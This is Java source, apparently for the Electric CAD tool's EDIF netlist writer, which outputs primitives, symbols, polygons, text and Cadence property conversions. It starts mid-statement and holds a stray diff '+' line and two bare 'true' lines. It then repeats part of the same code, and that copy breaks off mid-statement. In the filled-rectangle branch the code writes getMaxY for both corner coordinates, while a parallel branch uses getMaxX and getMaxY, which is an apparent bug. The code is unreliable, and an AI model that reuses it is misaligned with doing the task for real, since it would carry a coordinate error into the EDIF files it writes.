(ai.getProto() != Schematics.tech.bus_arc) continue; String arcBusName = netList.getBusName(ai).toString(); if (arcBusName.equals(busName)) writeSymbolArcInst(ai, GenMath.MATID); } setGraphic(EGUNKNOWN); egraphic_override = EGUNKNOWN; } blockClose("netBundle"); continue; } // write text Poly [] text = cell.getAllText(true, null); if (text != null) { for (int i=0; i<text.length; i++) { Poly p = text[i]; } } if (IOTool.isEDIFUseSchematicView()) { blockClose("page"); } blockClose("contents"); // matches "(cell " blockClose("cell"); } /****************************** MIDDLE-LEVEL HELPER METHODS ******************************/ private void writeHeader(Cell cell, String program, String comment, String origin) { // output the standard EDIF 2 0 0 header blockOpen("edif"); blockPutIdentifier(cell.getName()); blockPut("edifVersion", "2 0 0"); blockPut("edifLevel", "0"); blockOpen("keywordMap"); blockPut("keywordLevel", "0"); // was "1" blockClose("keywordMap"); blockOpen("status"); blockOpen("written"); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy MM dd HH mm ss"); blockPut("timeStamp", simpleDateFormat.format(new Date())); if (program != null) blockPut("program", "\"" + program + "\""); if (comment != null) blockPut("comment", "\"" + comment + "\""); if (origin != null) blockPut("dataOrigin", "\"" + origin + "\""); blockClose("status"); } /** * Method to dump the description of primitive "np" to the EDIF file * If the primitive is a schematic gate, use "i" as the number of inputs */ private void writePrimitive(PrimitiveNode pn, int i, PrimitiveNode.Function fun) { // write primitive name if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { blockOpen("cell"); String name = makeToken(pn.getName()) + i; blockPutIdentifier(name); } else { blockOpen("cell"); blockPutIdentifier(makeToken(pn.getName())); } // write primitive connections blockPut("cellType", "generic"); blockOpen("comment"); Technology tech = pn.getTechnology(); blockPutString("Tech: "+tech.getTechName()+", Node: "+pn.getName()+", Func: "+fun.getConstantName()); blockClose("comment"); blockOpen("view"); blockPutIdentifier("symbol"); blockPut("viewType", IOTool.isEDIFUseSchematicView() ? "SCHEMATIC" : "NETLIST"); blockOpen("interface"); int firstPortIndex = 0; if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { for (int j = 0; j < i; j++) { blockOpen("port"); String name = "IN" + (j + 1); blockPutIdentifier(name); blockPut("direction", "INPUT"); blockClose("port"); } firstPortIndex = 1; } for(int k=firstPortIndex; k<pn.getNumPorts(); k++) { PortProto pp = pn.getPort(k); String direction = "input"; if (pp.getCharacteristic() == PortCharacteristic.OUT) direction = "output"; else if (pp.getCharacteristic() == PortCharacteristic.BIDIR) direction = "inout"; blockOpen("port"); blockPutIdentifier(makeToken(pp.getName())); blockPut("direction", direction); blockClose("port"); } Cell tempCell = Cell.newInstance(scratchLib, "temp"); NodeInst ni = NodeInst.newInstance(pn, new Point2D.Double(0,0), pn.getDefWidth(), pn.getDefHeight(), tempCell); writeSymbol(pn, ni); tempCell.kill(); blockClose("cell"); } // ports is a list of EDIFEquiv.Port objects private void writeExternalDef(String extCell, String extView, String viewType, List ports) { blockOpen("cell"); blockPutIdentifier(extCell); blockPut("cellType", "generic"); blockOpen("view"); blockPutIdentifier(extView); if (viewType == null) viewType = IOTool.isEDIFUseSchematicView() ? "SCHEMATIC" : "NETLIST"; blockPut("viewType", viewType); // write interface blockOpen("interface"); for (Iterator it = ports.iterator(); it.hasNext(); ) { EDIFEquiv.Port port = (EDIFEquiv.Port)it.next(); if (port.ignorePort) continue; blockOpen("port"); String safeName = makeValidName(port.name); if (!safeName.equals(port.name)) { blockOpen("rename"); blockPutIdentifier(safeName); blockPutString(port.name); blockClose("rename"); } else { blockPutIdentifier(port.name); } blockClose("port"); } blockClose("cell"); } /** * Method to count the usage of primitives hierarchically below cell "np" */ private void writeAllPrims(Cell cell, HashMap primsFound) { // do not search this cell if it is an icon if (cell.isIcon()) return; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); NodeProto np = ni.getProto(); if (np instanceof PrimitiveNode) { if (equivs.getNodeEquivalence(ni) != null) continue; // will be defined by external reference PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function fun = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); //PrimitiveNode.Function fun = ni.getFunction(); int i = 1; if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { // count the number of inputs for(Iterator cIt = ni.getConnections(); cIt.hasNext(); ) { Connection con = (Connection)cIt.next(); if (con.getPortInst().getPortProto().getName().equals("a")) i++; } } if (primsFound.get(getPrimKey(ni, i)) != null) continue; // already written /* if (fun != PrimitiveNode.Function.UNKNOWN && fun != PrimitiveNode.Function.PIN && fun != PrimitiveNode.Function.CONTACT && fun != PrimitiveNode.Function.NODE && fun != PrimitiveNode.Function.CONNECT && fun != PrimitiveNode.Function.METER && fun != PrimitiveNode.Function.CONPOWER && fun != PrimitiveNode.Function.CONGROUND && fun != PrimitiveNode.Function.SOURCE && fun != PrimitiveNode.Function.SUBSTRATE && fun != PrimitiveNode.Function.WELL && fun != PrimitiveNode.Function.ART) { */ if (fun == PrimitiveNode.Function.UNKNOWN || fun == PrimitiveNode.Function.PIN || fun == PrimitiveNode.Function.ART) continue; writePrimitive(pn, i, fun); primsFound.put(getPrimKey(ni, i), pn); continue; } // ignore recursive references (showing icon in contents) if (ni.isIconOfParent()) continue; // get actual subcell (including contents/body distinction) Cell oNp = ((Cell)np).contentsView(); if (oNp == null) oNp = (Cell)np; // search the subcell writeAllPrims(oNp, primsFound); } } private Object getPrimKey(NodeInst ni, int i) { NodeProto np = ni.getProto(); if (!(np instanceof PrimitiveNode)) return null; PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function func = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); String key = pn.getTechnology().getTechShortName() + "_" + np.getName() + "_" + func.getConstantName() + "_" +i; return key; } /** * Method to generate a pt symbol (pt x y) */ private void writePoint(double x, double y) { blockOpen("pt"); blockPutInteger(scaleValue(x)); blockPutInteger(scaleValue(y)); blockClose("pt"); } /** * Method to map Electric orientations to EDIF orientations */ public static String getOrientation(NodeInst ni, int addedRotation) { String orientation = "ERROR"; int angle = (ni.getAngle() - addedRotation); if (angle < 0) angle = angle + 3600; if (angle > 3600) angle = angle % 3600; switch (angle) { case 0: orientation = ""; break; case 900: orientation = "R90"; break; case 1800: orientation = "R180"; break; case 2700: orientation = "R270"; break; } if (ni.isMirroredAboutXAxis()) orientation = "MX" + orientation; if (ni.isMirroredAboutYAxis()) orientation = "MY" + orientation; if (orientation.length() == 0) orientation = "R0"; if (orientation.equals("MXR180")) orientation = "MY"; if (orientation.equals("MYR180")) orientation = "MX"; if (orientation.equals("MXR270")) orientation = "MYR90"; if (orientation.equals("MYR270")) orientation = "MXR90"; return orientation; } /** * Method to scale the requested integer * returns the scaled value */ private double scaleValue(double val) { return (int)(val*scale); } /** * Establish whether port 'e' is a global port or not */ private boolean isGlobalExport(Export e) { // pp is a global port if it is marked global if (e.isBodyOnly()) return true; // or if it does not exist on the icon Cell parent = (Cell)e.getParent(); Cell inp = parent.iconView(); if (inp == null) return false; if (e.getEquivalent() == null) return true; return false; } /** * Method to properly identify an instance of a primitive node * for ASPECT netlists */ private String describePrimitive(NodeInst ni, PrimitiveNode.Function fun) { if (fun.isResistor()) /* == PrimitiveNode.Function.RESIST)*/ return "Resistor"; if (fun == PrimitiveNode.Function.TRANPN) return "npn"; if (fun == PrimitiveNode.Function.TRAPNP) return "pnp"; if (fun == PrimitiveNode.Function.TRA4NMOS) return "nfet"; if (fun == PrimitiveNode.Function.TRA4PMOS) return "pfet"; if (fun == PrimitiveNode.Function.SUBSTRATE) return "gtap"; return makeToken(ni.getProto().getName()); } /** * Helper name builder */ private String makeComponentName(Nodable no) { String okname = makeValidName(no.getName()); if (okname.length() > 0) { char chr = okname.charAt(0); if (TextUtils.isDigit(chr) || chr == '_') okname = "&" + okname; } return okname; } /** * Method to return null if there is no valid name in "var", corrected name if valid. */ public static String makeValidName(String name) { StringBuffer iptr = new StringBuffer(name); // allow '&' for the first character (this must be fixed later if digit or '_') int i = 0; if (iptr.charAt(i) == '&') i++; // allow "_" and alphanumeric for others for(; i<iptr.length(); i++) { if (TextUtils.isLetterOrDigit(iptr.charAt(i))) continue; if (iptr.charAt(i) == '_') continue; iptr.setCharAt(i, '_'); } return iptr.toString(); } /** * convert a string token into a valid EDIF string token (note - NOT re-entrant coding) * In order to use NSC program ce2verilog, we need to suppress the '_' which replaces * ']' in bus definitions. */ private String makeToken(String str) { if (str.length() == 0) return str; StringBuffer sb = new StringBuffer(); if (TextUtils.isDigit(str.charAt(0))) sb.append('X'); for(int i=0; i<str.length(); i++) { char chr = str.charAt(i); if (Character.isWhitespace(chr)) break; if (chr == '[') chr = '_'; if (TextUtils.isLetterOrDigit(chr) || chr == '&' || chr == '_') sb.append(chr); } return sb.toString(); } /****************************** GRAPHIC OUTPUT METHODS ******************************/ /** * Method to output all graphic objects of a symbol. */ private void writeSymbol(Cell cell) { if (cell == null) return; if (cell.getView() != View.ICON) cell = cell.iconView(); + if (cell == null) return; blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = cell.getPorts(); it.hasNext(); ) { Export e = (Export)it.next(); writePortImplementation(e, true); } egraphic_override = EGUNKNOWN; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); writeSymbolCell(ni, GenMath.MATID); } for(Iterator it = cell.getArcs(); it.hasNext(); ) { ArcInst ai = (ArcInst)it.next(); writeSymbolArcInst(ai, GenMath.MATID); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } private void writeSymbol(PrimitiveNode pn, NodeInst ni) { if (pn == null) return; blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = pn.getPorts(); it.hasNext(); ) { PortProto e = (PortProto)it.next(); blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(null)); blockClose("figureGroupOverride"); Poly portPoly = ni.getShapeOfPort(e); //blockOpen("origin"); //writePoint(portPoly.getCenterX(), portPoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); writeSymbolPoly(portPoly); // close figure setGraphic(EGUNKNOWN); blockClose("portImplementation"); } egraphic_override = EGUNKNOWN; Poly [] polys = pn.getTechnology().getShapeOfNode(ni); for (int i=0; i<polys.length; i++) { writeSymbolPoly(polys[i]); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } /** * Write a portImplementation node. * @param e * @param closeBlock true to close block, false to leave portImplementation block open */ private void writePortImplementation(Export e, boolean closeBlock) { blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(e.getTextDescriptor(Export.EXPORT_NAME_TD))); blockClose("figureGroupOverride"); blockOpen("origin"); Poly namePoly = e.getNamePoly(); writePoint(namePoly.getCenterX(), namePoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); Poly portPoly = e.getOriginalPort().getPoly(); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; writeSymbolPoly(portPoly); setGraphic(EGUNKNOWN); blockClose("connectLocation"); if (closeBlock) { blockClose("portImplementation"); } } /** * Method to output a specific symbol cell */ private void writeSymbolCell(NodeInst ni, AffineTransform prevtrans) { // make transformation matrix within the current nodeinst if (ni.getAngle() == 0 && !ni.isMirroredAboutXAxis() && !ni.isMirroredAboutYAxis()) { writeSymbolNodeInst(ni, prevtrans); } else { AffineTransform localtran = ni.rotateOut(prevtrans); writeSymbolNodeInst(ni, localtran); } } /** * Method to symbol "ni" when transformed through "prevtrans". */ private void writeSymbolNodeInst(NodeInst ni, AffineTransform prevtrans) { NodeProto np = ni.getProto(); // primitive nodeinst: ask the technology how to draw it if (np instanceof PrimitiveNode) { Technology tech = np.getTechnology(); Poly [] polys = tech.getShapeOfNode(ni); int high = polys.length; // don't draw invisible pins int low = 0; if (np == Generic.tech.invisiblePinNode) low = 1; for (int j = low; j < high; j++) { // get description of this layer Poly poly = polys[j]; // draw the nodeinst poly.transform(prevtrans); // draw the nodeinst and restore the color // check for text ... boolean istext = false; if (poly.getStyle().isText()) { istext = true; // close the current figure ... setGraphic(EGUNKNOWN); blockOpen("annotate"); } writeSymbolPoly(poly); if (istext) blockClose("annotate"); } } else { // transform into the nodeinst for display of its guts Cell subCell = (Cell)np; AffineTransform subrot = ni.translateOut(prevtrans); // see if there are displayable variables on the cell int num = ni.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ni.addDisplayableVariables(ni.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "NODE_name", prevtrans); // search through cell for(Iterator it = subCell.getNodes(); it.hasNext(); ) { NodeInst sNi = (NodeInst)it.next(); writeSymbolCell(sNi, subrot); } for(Iterator it = subCell.getArcs(); it.hasNext(); ) { ArcInst sAi = (ArcInst)it.next(); writeSymbolArcInst(sAi, subrot); } } } /** * Method to draw an arcinst. Returns indicator of what else needs to * be drawn. Returns negative if display interrupted */ private void writeSymbolArcInst(ArcInst ai, AffineTransform trans) { Technology tech = ai.getProto().getTechnology(); Poly [] polys = tech.getShapeOfArc(ai); // get the endpoints of the arcinst Point2D [] points = new Point2D[2]; points[0] = new Point2D.Double(ai.getTailLocation().getX(), ai.getTailLocation().getY()); points[1] = new Point2D.Double(ai.getHeadLocation().getX(), ai.getHeadLocation().getY()); // translate point if needed points[0] = equivs.translatePortConnection(points[0], ai.getTailPortInst()); points[1] = equivs.translatePortConnection(points[1], ai.getHeadPortInst()); Poly poly = new Poly(points); poly.setStyle(Poly.Type.OPENED); poly.transform(trans); writeSymbolPoly(poly); // now get the variables int num = ai.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ai.addDisplayableVariables(ai.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "ARC_name", trans); } private void writeDisplayableVariables(Poly [] varPolys, String defaultVarName, AffineTransform prevtrans) { for(int i=0; i<varPolys.length; i++) { Poly varPoly = varPolys[i]; String name = null; Variable var = varPoly.getVariable(); if (var != null) name = var.getTrueName(); else { if (varPoly.getName() != null) name = defaultVarName; } if (name == null) continue; if (prevtrans != null) varPoly.transform(prevtrans); // make sure poly type is some kind of text if (!varPoly.getStyle().isText()) { TextDescriptor td = var.getTextDescriptor(); if (td != null) { Poly.Type style = td.getPos().getPolyType(); varPoly.setStyle(style); } } if (varPoly.getString() == null) varPoly.setString(var.getObject().toString()); blockOpen("property"); blockPutIdentifier(name); blockOpen("string"); writeSymbolPoly(varPoly); blockClose("property"); } } private void setGraphic(EGraphic type) { if (type == EGUNKNOWN) { // terminate the figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = EGUNKNOWN; } else if (egraphic_override == EGUNKNOWN) { // normal case if (type != egraphic) { // new egraphic type if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = type; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } else if (egraphic != egraphic_override) { // override figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = egraphic_override; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } /** * Method to write polys into EDIF syntax */ private void writeSymbolPoly(Poly obj) { // now draw the polygon Poly.Type type = obj.getStyle(); Point2D [] points = obj.getPoints(); if (type == Poly.Type.CIRCLE || type == Poly.Type.DISC || type == Poly.Type.THICKCIRCLE) { setGraphic(EGART); double i = points[0].distance(points[1]); blockOpen("circle"); writePoint(points[0].getX() - i, points[0].getY()); writePoint(points[0].getX() + i, points[0].getY()); blockClose("circle"); return; } if (type == Poly.Type.CIRCLEARC || type == Poly.Type.THICKCIRCLEARC) { setGraphic(EGART); // arcs at [i] points [1+i] [2+i] clockwise if (points.length == 0) return; if ((points.length % 3) != 0) return; for (int i = 0; i < points.length; i += 3) { blockOpen("openShape"); blockOpen("curve"); blockOpen("arc"); writePoint(points[i + 1].getX(), points[i + 1].getY()); // calculate a point between the first and second point Point2D si = GenMath.computeArcCenter(points[i], points[i + 1], points[i + 2]); writePoint(si.getX(), si.getY()); writePoint(points[i + 2].getX(), points[i + 2].getY()); blockClose("openShape"); } return; } if (type == Poly.Type.FILLED || type == Poly.Type.CLOSED) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxY(), bounds.getMaxY()); blockClose("rectangle"); } } else { setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); if (points.length > 2) writePoint(points[0].getX(), points[0].getY()); blockClose("path"); } return; } if (type.isText()) { if (CadenceProperties && obj.getVariable() != null) { // Properties in Cadence do not have position info, Cadence // determines position automatically and cannot be altered by user. // There also does not seem to be any way to set the 'display' so // that it shows up on the instance String str = convertElectricPropToCadence(obj.getString()); str = str.replaceAll("\"", "%34%"); blockPutString(str); return; } Rectangle2D bounds = obj.getBounds2D(); setGraphic(EGUNKNOWN); blockOpen("stringDisplay"); String str = obj.getString().replaceAll("\"", "%34%"); blockPutString(str); blockOpen("display"); TextDescriptor td = obj.getTextDescriptor(); if (td != null) { blockOpen("figureGroupOverride"); blockPutIdentifier(EGART.getText()); // output the text height blockOpen("textHeight"); // 2 pixels = 0.0278 in or 36 double pixels per inch double height = getTextHeight(td); blockPutInteger(height); blockClose("figureGroupOverride"); } else { blockPutIdentifier(EGART.getText()); } if (type == Poly.Type.TEXTCENT) blockPut("justify", "CENTERCENTER"); else if (type == Poly.Type.TEXTTOP) blockPut("justify", "LOWERCENTER"); else if (type == Poly.Type.TEXTBOT) blockPut("justify", "UPPERCENTER"); else if (type == Poly.Type.TEXTLEFT) blockPut("justify", "CENTERRIGHT"); else if (type == Poly.Type.TEXTRIGHT) blockPut("justify", "CENTERLEFT"); else if (type == Poly.Type.TEXTTOPLEFT) blockPut("justify", "LOWERRIGHT"); else if (type == Poly.Type.TEXTBOTLEFT) blockPut("justify", "UPPERRIGHT"); else if (type == Poly.Type.TEXTTOPRIGHT) blockPut("justify", "LOWERLEFT"); else if (type == Poly.Type.TEXTBOTRIGHT) blockPut("justify", "UPPERLEFT"); blockPut("orientation", "R0"); blockOpen("origin"); writePoint(bounds.getMinX(), bounds.getMinY()); blockClose("stringDisplay"); return; } if (type == Poly.Type.OPENED || type == Poly.Type.OPENEDT1 || type == Poly.Type.OPENEDT2 || type == Poly.Type.OPENEDT3) { // check for closed 4 sided figure if (points.length == 5 && points[4].getX() == points[0].getX() && points[4].getY() == points[0].getY()) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxX(), bounds.getMaxY()); blockClose("rectangle"); } return; } } setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); blockClose("path"); return; } if (type == Poly.Type.VECTORS) { setGraphic(EGART); for (int i = 0; i < points.length; i += 2) { blockOpen("path"); blockOpen("pointList"); writePoint(points[i].getX(), points[i].getY()); writePoint(points[i + 1].getX(), points[i + 1].getY()); blockClose("path"); } return; } } private void writeFigureGroup(EGraphic graphic) { blockOpen("figureGroup"); blockPutIdentifier(graphic.getText()); blockClose("figureGroup"); } private void writeScale(Technology tech) { //double meters_to_lambda = TextUtils.convertDistance(1, tech, TextUtils.UnitScale.NONE); blockOpen("scale"); blockPutInteger(160); blockPutDouble(0.0254); blockPut("unit", "DISTANCE"); blockClose("scale"); } private double getTextHeight(TextDescriptor td) { double size = 2; // default if (td != null) { size = td.getSize().getSize(); if (!td.getSize().isAbsolute()) { size = size * 2; } } // 2 pixels = 0.0278 in or 36 double pixels per inch double height = size * 10 / 36; return scaleValue(height); } private static final Pattern atPat = Pattern.compile("@(\\w+)"); private static final Pattern pPat = Pattern.compile("(P|PAR)\\(\"(\\w+)\"\\)"); /** * Convert a property in Electric, with parameter passing, to * Cadence parameter passing syntax * @param prop the expression * @return an equivalent expression in Cadence */ public static String convertElectricPropToCadence(String prop) { StringBuffer sb = new StringBuffer(); Matcher atMat = atPat.matcher(prop); while (atMat.find()) { atMat.appendReplacement(sb, "P(\""+atMat.group(1)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pPat.matcher(prop); while (pMat.find()) { String c = "+"; // default if (pMat.group(1).equals("PAR")) c = "@"; pMat.appendReplacement(sb, "["+c+pMat.group(2)+"]"); } pMat.appendTail(sb); return sb.toString(); } private static final Pattern pparPat = Pattern.compile("(pPar|iPar|atPar|dotPar|_Par)\\(\"(\\w+)\"\\)"); private static final Pattern bPat = Pattern.compile("\\[([~+.@])(\\w+)\\]"); /** * Convert a property in Cadence, with parameter passing, to * Electric parameter passing syntax * @param prop the expression * @return an equivalent expression in Electric */ public static String convertCadencePropToElectric(String prop) { String origProp = prop; StringBuffer sb = new StringBuffer(); Matcher atMat = bPat.matcher(prop); while (atMat.find()) { String call = "pPar"; if (atMat.group(1).equals("+")) call = "pPar"; else if (atMat.group(1).equals("@")) call = "atPar"; else { System.out.println("Warning converting properties: Electric does not support \"["+atMat.group(1)+"param], using [+param] instead, in "+origProp); } //if (atMat.group(1).equals("~")) call = "iPar"; //if (atMat.group(1).equals(".")) call = "dotPar"; atMat.appendReplacement(sb, call+"(\""+atMat.group(2)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pparPat.matcher(prop); while (pMat.find()) { String c = "P"; // default if (pMat.group(1).equals("pPar")) c = "P"; else if (pMat.group(1).equals("atPar")) c = "PAR"; else { System.out.println("Warning converting properties: Electric does not support \"["+pMat.group(1)+"param], using pPar instead, in "+origProp); } pMat.appendReplacement(sb, c+"(\""+pMat.group(2)+"\")"); } pMat.appendTail(sb); return sb.toString(); } /****************************** LOW-LEVEL BLOCK OUTPUT METHODS ******************************/ /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword) { blockOpen(keyword, true); } /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword, boolean startOnNewLine) { if (blkstack_ptr > 0 && startOnNewLine) printWriter.print("\n"); // output the new block blkstack[blkstack_ptr++] = keyword; // output the keyword String blanks = startOnNewLine ? getBlanks(blkstack_ptr-1) : " "; printWriter.print(blanks + "( " + keyword); } /** * Will output a one identifier block */ private void blockPut(String keyword, String identifier) { // output the new block if (blkstack_ptr != 0) printWriter.print("\n"); // output the keyword printWriter.print(getBlanks(blkstack_ptr) + "( " + keyword + " " + identifier + " )"); } /** * Will output a string identifier to the file */ private void blockPutIdentifier(String str) { printWriter.print(" " + str); } /** * Will output a quoted string to the file */ private void blockPutString(String str) { printWriter.print(" \"" + str + "\""); } /** * Will output an integer to the edif file */ private void blockPutInteger(double val) { printWriter.print(" " + TextUtils.formatDouble(val)); } /** * Will output a floating value to the edif file */ private static DecimalFormat decimalFormatScientific = null; private void blockPutDouble(double val) { if (decimalFormatScientific == null) { decimalFormatScientific = new DecimalFormat("########E0"); decimalFormatScientific.setGroupingUsed(false); } String ret = decimalFormatScientific.format(val).replace('E', ' '); ret = ret.replaceAll("\\.[0-9]+", ""); printWriter.print(" ( e " + ret + " )"); } private void blockClose(String keyword) { if (blkstack_ptr == 0) return; int depth = 1; if (keyword != null) { // scan for this saved keyword for (depth = 1; depth <= blkstack_ptr; depth++) { if (blkstack[blkstack_ptr - depth].equals(keyword)) break; } if (depth > blkstack_ptr) { System.out.println("EDIF output: could not match keyword <" + keyword + ">"); return; } } // now terminate and free keyword list do { blkstack_ptr--; printWriter.print(" )"); } while ((--depth) > 0); } /** * Method to terminate all currently open blocks. */ private void blockFinish() { if (blkstack_ptr > 0) { blockClose(blkstack[0]); } printWriter.print("\n"); } private int blkstack_ptr; private String [] blkstack = new String[50]; private String getBlanks(int num) { StringBuffer sb = new StringBuffer(); for(int i=0; i<num; i++) sb.append(' '); return sb.toString(); } /****************************** SUBCLASSED METHODS FOR THE TOPOLOGY ANALYZER ******************************/ /** * Method to adjust a cell name to be safe for EDIF output. * @param name the cell name. * @return the name, adjusted for EDIF output. */ protected String getSafeCellName(String name) { return name; } /** Method to return the proper name of Power */ protected String getPowerName(Network net) { return "VDD"; } /** Method to return the proper name of Ground */ protected String getGroundName(Network net) { return "GND"; } /** Method to return the proper name of a Global signal */ protected String getGlobalName(Global glob) { return glob.getName(); } /** Method to report that export names DO take precedence over * arc names when determining the name of the network. */ protected boolean isNetworksUseExportedNames() { return true; } /** Method to report that library names ARE always prepended to cell names. */ protected boolean isLibraryNameAlwaysAddedToCellName() { return false; } /** Method to report that aggregate names (busses) ARE used. */ protected boolean isAggregateNamesSupported() { return true; } /** Method to report whether input and output names are separated. */ protected boolean isSeparateInputAndOutput() { return true; } /** * Method to adjust a network name to be safe for EDIF output. */ protected String getSafeNetName(String name, boolean bus) { return name; } /** Tell the Hierarchy enumerator whether or not to short parasitic resistors */ protected boolean isShortResistors() { return false; } /** Tell the Hierarchy enumerator whether or not to short explicit (poly) resistors */ protected boolean isShortExplicitResistors() { return false; } /** * Method to tell whether the topological analysis should mangle cell names that are parameterized. */ protected boolean canParameterizeNames() { return false; } }
true
true
private void writeAllPrims(Cell cell, HashMap primsFound) { // do not search this cell if it is an icon if (cell.isIcon()) return; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); NodeProto np = ni.getProto(); if (np instanceof PrimitiveNode) { if (equivs.getNodeEquivalence(ni) != null) continue; // will be defined by external reference PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function fun = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); //PrimitiveNode.Function fun = ni.getFunction(); int i = 1; if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { // count the number of inputs for(Iterator cIt = ni.getConnections(); cIt.hasNext(); ) { Connection con = (Connection)cIt.next(); if (con.getPortInst().getPortProto().getName().equals("a")) i++; } } if (primsFound.get(getPrimKey(ni, i)) != null) continue; // already written /* if (fun != PrimitiveNode.Function.UNKNOWN && fun != PrimitiveNode.Function.PIN && fun != PrimitiveNode.Function.CONTACT && fun != PrimitiveNode.Function.NODE && fun != PrimitiveNode.Function.CONNECT && fun != PrimitiveNode.Function.METER && fun != PrimitiveNode.Function.CONPOWER && fun != PrimitiveNode.Function.CONGROUND && fun != PrimitiveNode.Function.SOURCE && fun != PrimitiveNode.Function.SUBSTRATE && fun != PrimitiveNode.Function.WELL && fun != PrimitiveNode.Function.ART) { */ if (fun == PrimitiveNode.Function.UNKNOWN || fun == PrimitiveNode.Function.PIN || fun == PrimitiveNode.Function.ART) continue; writePrimitive(pn, i, fun); primsFound.put(getPrimKey(ni, i), pn); continue; } // ignore recursive references (showing icon in contents) if (ni.isIconOfParent()) continue; // get actual subcell (including contents/body distinction) Cell oNp = ((Cell)np).contentsView(); if (oNp == null) oNp = (Cell)np; // search the subcell writeAllPrims(oNp, primsFound); } } private Object getPrimKey(NodeInst ni, int i) { NodeProto np = ni.getProto(); if (!(np instanceof PrimitiveNode)) return null; PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function func = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); String key = pn.getTechnology().getTechShortName() + "_" + np.getName() + "_" + func.getConstantName() + "_" +i; return key; } /** * Method to generate a pt symbol (pt x y) */ private void writePoint(double x, double y) { blockOpen("pt"); blockPutInteger(scaleValue(x)); blockPutInteger(scaleValue(y)); blockClose("pt"); } /** * Method to map Electric orientations to EDIF orientations */ public static String getOrientation(NodeInst ni, int addedRotation) { String orientation = "ERROR"; int angle = (ni.getAngle() - addedRotation); if (angle < 0) angle = angle + 3600; if (angle > 3600) angle = angle % 3600; switch (angle) { case 0: orientation = ""; break; case 900: orientation = "R90"; break; case 1800: orientation = "R180"; break; case 2700: orientation = "R270"; break; } if (ni.isMirroredAboutXAxis()) orientation = "MX" + orientation; if (ni.isMirroredAboutYAxis()) orientation = "MY" + orientation; if (orientation.length() == 0) orientation = "R0"; if (orientation.equals("MXR180")) orientation = "MY"; if (orientation.equals("MYR180")) orientation = "MX"; if (orientation.equals("MXR270")) orientation = "MYR90"; if (orientation.equals("MYR270")) orientation = "MXR90"; return orientation; } /** * Method to scale the requested integer * returns the scaled value */ private double scaleValue(double val) { return (int)(val*scale); } /** * Establish whether port 'e' is a global port or not */ private boolean isGlobalExport(Export e) { // pp is a global port if it is marked global if (e.isBodyOnly()) return true; // or if it does not exist on the icon Cell parent = (Cell)e.getParent(); Cell inp = parent.iconView(); if (inp == null) return false; if 